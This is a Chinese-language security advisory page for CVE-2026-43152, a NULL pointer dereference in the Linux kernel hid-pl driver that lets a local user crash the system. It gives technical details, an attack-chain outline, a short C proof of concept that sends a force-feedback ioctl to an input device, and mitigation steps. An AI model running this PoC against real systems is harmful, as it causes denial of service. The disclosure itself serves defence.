IPBUF安全漏洞报告
English
CVE-2026-43152 CVSS 5.5 中危

CVE-2026-43152: Linux内核hid-pl驱动空指针漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43152
漏洞类型
空指针引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelHID DriverNULL Pointer DereferenceDoSLocal

漏洞概述

Linux内核中的hid-pl驱动程序存在一个空指针引用漏洞。该问题的根源在于驱动程序的初始化(probe)函数未能正确处理并上报错误。如果初始化过程中发生错误但未被捕获,后续当第一次使用力反馈(FF)功能时,程序将尝试解引用一个空指针。这将导致内核崩溃,进而引发系统拒绝服务。由于该漏洞属于本地攻击向量且需要低权限即可触发,对系统稳定性构成一定威胁。

技术细节

该漏洞位于Linux内核的HID子系统,具体涉及hid-pl驱动模块。在设备探测(probe)阶段,驱动程序分配必要的资源并初始化硬件状态。代码逻辑缺陷导致当初始化步骤失败时,错误状态未正确返回给调用者,使得驱动程序对象处于部分初始化的无效状态。此时,某些内部指针(特别是与力反馈相关的指针)未被正确赋值,仍为NULL。当本地用户或进程通过ioctl系统调用尝试激活设备的力反馈功能时,驱动代码会直接使用该未初始化的指针。由于指针为NULL,CPU在尝试访问该内存地址时触发异常,导致内核恐慌(Kernel Panic),最终造成系统崩溃或重启。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限用户访问权限。
STEP 2
步骤2
确认系统已加载存在漏洞的hid-pl驱动程序。
STEP 3
步骤3
利用特定条件使设备初始化(probe)过程出现错误但未上报。
STEP 4
步骤4
执行针对该设备的力反馈(FF)操作,触发空指针引用。
STEP 5
步骤5
内核崩溃,系统发生拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43152 * Triggering NULL pointer dereference in hid-pl driver via Force Feedback. * This code attempts to open a device and send FF commands. * Compile: gcc -o poc poc.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <linux/input.h> #include <sys/ioctl.h> #include <unistd.h> int main(int argc, char **argv) { const char *device = "/dev/input/event0"; // Adjust path as needed int fd; struct ff_effect effect; printf("[+] Attempting to open %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Sending FF upload command...\n"); // Setup a dummy force feedback effect effect.type = FF_RUMBLE; effect.id = -1; effect.u.rumble.strong_magnitude = 0x8000; effect.u.rumble.weak_magnitude = 0x8000; effect.replay.length = 5000; effect.replay.delay = 0; // This ioctl triggers the vulnerable path if the driver is in the bad state if (ioctl(fd, EVIOCSFF, &effect) < 0) { perror("[-] IOCTL failed (device might not support FF or already crashed)"); } else { printf("[+] IOCTL sent successfully. If kernel is vulnerable, a crash may occur.\n"); } close(fd); return 0; }

影响范围

Linux Kernel (特定版本请参考Git补丁链接)

防御指南

临时缓解措施
建议立即更新Linux内核至包含修复补丁的版本。如果无法立即升级,可以通过将hid-pl模块加入黑名单(blacklist)来防止驱动加载,从而规避该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表